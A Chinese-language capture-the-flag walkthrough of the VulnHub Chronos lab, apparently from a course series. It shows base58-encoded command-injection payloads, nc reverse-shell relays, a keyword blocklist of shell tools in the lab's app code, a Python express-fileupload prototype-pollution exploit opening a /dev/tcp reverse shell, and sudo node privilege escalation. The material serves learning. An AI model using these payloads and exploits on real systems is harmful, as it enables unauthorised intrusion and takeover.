第六次打靶
  K7lWVooM01S4 2023年11月01日 34 0

靶机介绍

1)靶机地址:https://www.vulnhub.com/entry/chronos-1,735/

2)靶机难度:中(构思非常巧妙)

3)打靶目标: 取得 2 个 flag + root 权限

4)涉及攻击方法:端口扫描、WEB侦查、命令注入、数据编解码、搜索大法框架漏洞利用、代码审计、NC串联、本地提权

5)课程来源:https://www.aqniukt.com/goods/show/2434?targetId=16289&preview=0

6)参考链接:

①https://www.bleepingcomputer.com/news/security/nodejs-module-downloaded-7m-times-lets-hackers-inject-code/

②https://blog.p6.is/Real-World-JS-1/

打靶过程

1)主机发现:本次使用netdiscover进行主机发现,该工具原理和arp-scan、arping原理一样,但命令使用格式不同。建议该工具扫描时在真实的子网掩码数-8,效果更好

# netdiscover -r 192.168.56.0/16

2)对发现的主机进行全端口扫描

# nmap -p- 192.168.56.110

3)对发现的端口进行服务版本等信息扫描

# nmap -p22,80,8000 -sV 192.168.56.110

8000端口开放了一个http服务,但是服务端使用了Node.js开发技术,并结合了Express框架

4)使用浏览器访问目标主机的80端口及8000端口

①访问80端口:打开后页面很简单

浏览器:http://192.168.56.110/

注:当页面无法搜集到有用信息时,可以进行网站路径扫描(爬站),把隐藏路径或者隐藏文件爬取出来;另外也可以查看网页源代码(ctrl +U),查看有无隐藏的接口、脚本、表单等

②查看当前页面源码,未发现隐藏的url地址及页面资源,但是发现了一段脚本,包含在了script标签下

<script>
    var _0x5bdf=['150447srWefj','70lwLrol','1658165LmcNig','open','1260881JUqdKM','10737CrnEEe','2SjTdWC','readyState','responseText','1278676qXleJg','797116soVTES','onreadystatechange','http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL','User-Agent','status','1DYOODT','400909Mbbcfr','Chronos','2QRBPWS','getElementById','innerHTML','date'];(function(_0x506b95,_0x817e36){var _0x244260=_0x432d;while(!![]){try{var _0x35824b=-parseInt(_0x244260(0x7e))*parseInt(_0x244260(0x90))+parseInt(_0x244260(0x8e))+parseInt(_0x244260(0x7f))*parseInt(_0x244260(0x83))+-parseInt(_0x244260(0x87))+-parseInt(_0x244260(0x82))*parseInt(_0x244260(0x8d))+-parseInt(_0x244260(0x88))+parseInt(_0x244260(0x80))*parseInt(_0x244260(0x84));if(_0x35824b===_0x817e36)break;else _0x506b95['push'](_0x506b95['shift']());}catch(_0x3fb1dc){_0x506b95['push'](_0x506b95['shift']());}}}(_0x5bdf,0xcaf1e));function _0x432d(_0x16bd66,_0x33ffa9){return _0x432d=function(_0x5bdf82,_0x432dc8){_0x5bdf82=_0x5bdf82-0x7e;var _0x4da6e8=_0x5bdf[_0x5bdf82];return _0x4da6e8;},_0x432d(_0x16bd66,_0x33ffa9);}function loadDoc(){var _0x17df92=_0x432d,_0x1cff55=_0x17df92(0x8f),_0x2beb35=new XMLHttpRequest();_0x2beb35[_0x17df92(0x89)]=function(){var _0x146f5d=_0x17df92;this[_0x146f5d(0x85)]==0x4&&this[_0x146f5d(0x8c)]==0xc8&&(document[_0x146f5d(0x91)](_0x146f5d(0x93))[_0x146f5d(0x92)]=this[_0x146f5d(0x86)]);},_0x2beb35[_0x17df92(0x81)]('GET',_0x17df92(0x8a),!![]),_0x2beb35['setRequestHeader'](_0x17df92(0x8b),_0x1cff55),_0x2beb35['send']();}
  </script> 

③通过查看脚本代码发现,该脚本中包括函数名称和变量名称都是通过编码处理到,导致无法直接分析出代码的含义,此时对javascript代码进行还原美化及整理,可使用cyberchef在线工具,该工具可以针对各种计算机数据类型来做编码、解码、还原、解密等相关操作

A:工具地址:https://cyberchef.cn/

B:使用方法:左侧为模块名称,使用相应模块时,先进行搜索,将模块拖入Recipe后,在Input输入需要解码的代码及字符串。例如:此处使用针对javascript做代码美化的模块,对上述代码进行美化操作

④经过简单美化后的代码,虽然格式整齐了,但是因为函数名称等字符被编码,仍然无法正常读取,出于渗透高效的目的,将重点关注代码中比较容易识别或者一眼看起来就有问题的元素,本段代码中大部分内容都是通过编码处理的,都不太好读取,只有一段URL比较容易读取

http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL
分析:
	chronos为靶机的名称
	local代表本机
	8000端口:通过前面端口扫描发现,在本机也开放了8000端口
	此时可怀疑chronos.local这个域名可能指向了目标主机的IP地址,则有理由怀疑在当前页面加载的过程中,可能会去访问该URL地址,来获取某些页面资源,来放置到页面中 

⑤为解析上述域名,在hosts文件中进行解析

# vi /etc/hosts
192.168.56.110 chronos.local

⑥因域名已可正常解析,再次加载页面,查看页面或者源代码是否发送变化:可以发现已正常的显示出了资源

浏览器:http://192.168.56.110/

⑦通过burp,在刷新页面时,将整个页面加载过程全部进行抓取,即访问了哪些地址,加载了哪些资源全部进行记录

⑧通过查看数据包发现,当修改format后的参数后,则无法返回正常的时间

⑨此时就需要对format后的字符进行转发,查看到底是什么内容。通过字符特点可怀疑是base64的编码,将该行字符在cybershef进行转码,此时使用magic模块,可以对其进行转码(magic模块表示当不知道字符是什么编码类型生成时,该模块可以进行简单分析)

http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL
	编码后:4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL
	编码前:'+Today is %A, %B %d, %Y %H:%M:%S.'

⑩对该明文进行分析,发现该明文是date命令的时间格式

# date '+Today is %A, %B %d, %Y %H:%M:%S.'

5)通过上述验证,可猜测该web应用程序在进行请求服务端数据时,服务端执行的就是该操作系统命令。既然执行了操作系统指令,是否可以通过命令注入的方式通过一些连接符(如|、 ||、 &&)向该变量中注入其他的系统命令

||   前面命令执行不成功,才会执行后面命令
&&   前面命令执行正确,才会执行后面命令

6)通过之前的URL可知,注入的命令也必须要通过base58编码,才能被目标系统所接受。所以此时要通过cyberchef 工具,将要注入的命令转化为base58编码后的字符

Input: &&ls
Output:5Jdixo4

7)将编码后的字符,在数据包中进行提交:发现确实存在命令注入漏洞

8)在目标系统执行反弹shell的命令,此时使用nc工具进行反弹shell,因为nc命令使用广泛,很可能在目标主机默认就存在该工具

①查看主机是否具有nc工具

编码前:&& ls /bin
编码后:39JyvVr3FjbwAV

查找发现,目标服务器确实存在nc命令

②测试nc命令是否可正常执行,该版本是否有-e参数

编码前:&& nc 192.168.56.103 4444
编码后:GMKWwmxeCKrzqcoDwLeaRS6LtNATnW7thR

kali主机进行监听:

# nc -lvvp 4444

burp虽然返回了错误的信息,但是kali主机确显示连接成功,说明目标服务器上存在nc,而且nc是可以正常建立网络连接的

③确定该nc版本是否有-e参数进行连接

编码前:&& nc 192.168.56.103 4444 -e /bin/bash
编码后:6eK5JFNT7CahVhdM6iDKHY4Q4b7Knp1DuphZrm7gM2b6zDfbCQPR

发送数据包后,发现并不能建立连接,说明该版本nc参数并不包含-e参数,所以只能够采用nc串联的方式进行连接

④通过nc串联的方式进行反弹shell

编码前:&& nc 192.168.56.103 4444 | /bin/bash |nc 192.168.56.103 5555
编码后:WqfXccLfYcuHA6xfwxPgwNU15RA9eAb3P97ZEaZqLpANPu4v7rLTaYetgKEGVY78ptWsqq8aWa4QkbmVpm2

⑤kali进行监听:会话1输入的命令返回的数据就会显示在会话2

会话1:
	# nc -lvvp 4444
会话2:
	# nc -lvvp 5555

9)反弹shell获取到的权限为www-data用户权限,对当前用户所处的主机进行大量信息搜集,查看是否有敏感目录,flag文件或者其他用户

①在用户文件中发现了imera用户

cat /etc/passwd |grep /bin/bash

②进入该用户的家目录发现了一个user.txt文件,但是无权限打开(只有imera用户才能对看文件进行读取)

cd /home     
ls
cd imera
ls
cat user.txt
ls -l 

③对当前用户进行提权:

A:基于内核漏洞进行提权,查看内核版本为4.15,针对该版本查到提权漏洞代码,并未发现可用的

B:查看是否具备SUID权限配置上的错误,也为发现任何的suid权限文件

#find / -perm +4000 -user root -type f -print
#find / -perm +4000 -user imera -type f -print  

C:当前用户也无发现任何sudo权限

#sudo -l

10)发现无法提权以后,再次进行大量信息搜集(收集的信息越多,渗透思路越多),搜集发现在网站目录下存在js代码。此处是通过Node.js可进行服务端web程序开发

cd /opt
cd chronos
ls

基于Node.js开发出的应用程序,通常都是基于已有的框架库进行开发,完全使用Node.js开发应用程序难度较高,Node.js常用于开发web应用程序所使用的框架为Express框架(express是一款基于Node.js平台,快速、开放、极简的web开发框架)。在该靶机对web应用程序的源码进行代码审计

11)先查看package.json,因为几乎所有的基于Node.js开发出的项目中,根目录下都包含package.json文件,该文件一般定义了当前项目所需要的模块、框架等

#cat package.json

查看发现,该项目依赖了bs58库(即base58编码解码等)、cors库、express框架

12)查看app.js代码

// created by alienum for Penetration Testing
const express = require('express');
const { exec } = require("child_process");
const bs58 = require('bs58');
const app = express();

const port = 8000;

const cors = require('cors');


app.use(cors());

app.get('/', (req,res) =>{
  
    res.sendFile("/var/www/html/index.html");
});

app.get('/date', (req, res) => {

    var agent = req.headers['user-agent'];
    var cmd = 'date ';
    const format = req.query.format;
    const bytes = bs58.decode(format);
    var decoded = bytes.toString();
    var concat = cmd.concat(decoded);
    if (agent === 'Chronos') {
        if (concat.includes('id') || concat.includes('whoami') || concat.includes('python') || concat.includes('nc') || concat.includes('bash') || concat.includes('php') || concat.includes('which') || concat.includes('socat')) {

            res.send("Something went wrong");
        }
        exec(concat, (error, stdout, stderr) => {
            if (error) {
                console.log(`error: ${error.message}`);
                return;
            }
            if (stderr) {
                console.log(`stderr: ${stderr}`);
                return;
            }
            res.send(stdout);
        });
    }
    else{

        res.send("Permission Denied");
    }
})

app.listen(port,() => {

    console.log(`Server running at ${port}`);

})

通过代码分析,发现开发者只是对常见的渗透测试命令进行了检测,但是并未阻断

13)继续通过信息搜集,发现在上级目录,即/opt目录下,存在另外一个应用程序chronos-v2,进入其后端目录backend后,继续查看package.json模块应用配置文件,发现该应用程序服务端主程序为server.js、通过node server.js进行启动这个web应用,ejs表示嵌入式的javascript模板,同样使用了express库,并且从express-fileupload库可猜测既然有文件上传功能,那是否可以通过文件上传,上传一个webshell

14)查看chronos-v2该应用程序服务端主程序源码:发现该应用程序启动在127.0.0.1:8000地址上,这也是为什么前面端口扫描时未发现8000端口开放原因。这个应用只监听在127.0.0.1上,即只有本机才能访问这个应用的8000端口

#cat server.js
const express = require('express');
const fileupload = require("express-fileupload");
const http = require('http')

const app = express();

app.use(fileupload({ parseNested: true }));

app.set('view engine', 'ejs');
app.set('views', "/opt/chronos-v2/frontend/pages");

app.get('/', (req, res) => {
   res.render('index')
});

const server = http.Server(app);
const addr = "127.0.0.1"
const port = 8080;
server.listen(port, addr, () => {
   console.log('Server listening on ' + addr + ' port ' + port);
});

15)通过搜索引擎发现,express-fileupload模块存在一个漏洞(原型污染漏洞,可致Web应用程序遭受DoS和远程Shell攻击)

在如下链接中找到了漏洞利用代码

①https://www.bleepingcomputer.com/news/security/nodejs-module-downloaded-7m-times-lets-hackers-inject-code/

②https://blog.p6.is/Real-World-JS-1/

16)根据实际情况,修改漏洞利用代码

# cat exp.py 

import requests
cmd = 'bash -c "bash -i &> /dev/tcp/192.168.56.103/7777 0>&1"'
# pollute
requests.post('http://127.0.0.1:8080', files = {'__proto__.outputFunctionName': (
    None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})
# execute command
requests.get('http://127.0.0.1:8080')

17)将该漏洞利用代码传输到目标靶机进行运行

①kali主机开启http服务

# python3 -m http.server 80

②目标主机下载exp.py漏洞利用代码,并利用

cd /tmp
wget http://192.168.56.103/exp.py
ls
python3 exp.py

③在kali监听7777端口

# nc -lvvp 7777

18)根据前期信息搜集,发现在imera用户的家目录之下存在一个user.txt的flag文件

#cd /home/imera
#ls
#cat user.txt

19)对当前imera用户进行提权,通过sudo -l 查看当前用户存在sudo权限:该用户可通过root用户,执行node命令

$ sudo -l

20)通过node命令进行提权,获取到root用户flag

$ sudo node -e 'child_process.spawn("/bin/bash", {stdio: [0,1,2]})'

总结:针对靶机先进行了主机发现、端口扫描、应用发现等基本操作,然后在web页面发现了奇怪的域名,于是进行了名的绑定,并在域名绑定后查看到了页面的变化,通过对页面源码的分析,找出了javascript的脚本,然后发现了经过base58编码的字符,通过对字符还原的分析,发现了命令注入漏洞,进而通过base58编码注入命令,对目标系统执行了命令注入,获得了一个基础的nc反弹shell。通过搜索找当了目标系统上应用的一个框架的漏洞,利用漏洞利用代码进行了利用,提权。

【版权声明】本文内容来自摩杜云社区用户原创、第三方投稿、转载,内容版权归原作者所有。本网站的目的在于传递更多信息,不拥有版权,亦不承担相应法律责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@moduyun.com

上一篇: CC4 下一篇: 信息收集
  1. 分享:
最后一次编辑于 2023年11月08日 0

暂无评论

推荐阅读
  5NWiQFAVeqgX   2024年05月17日   33   0   0 网络安全
  pTtIhLb24H2d   2024年05月17日   35   0   0 网络安全
  OKgNPeBk991j   2024年05月18日   47   0   0 网络安全
  rKgO6TN7xbYO   2024年05月17日   39   0   0 网络安全
  5NWiQFAVeqgX   2024年05月17日   53   0   0 网络安全
  5NWiQFAVeqgX   2024年05月17日   36   0   0 网络安全
  YOkriIV1Am1d   2024年05月20日   39   0   0 网络安全
  owpmXY9hzjPv   2024年05月20日   38   0   0 网络安全
  owpmXY9hzjPv   2024年05月20日   41   0   0 网络安全
  owpmXY9hzjPv   2024年05月20日   34   0   0 网络安全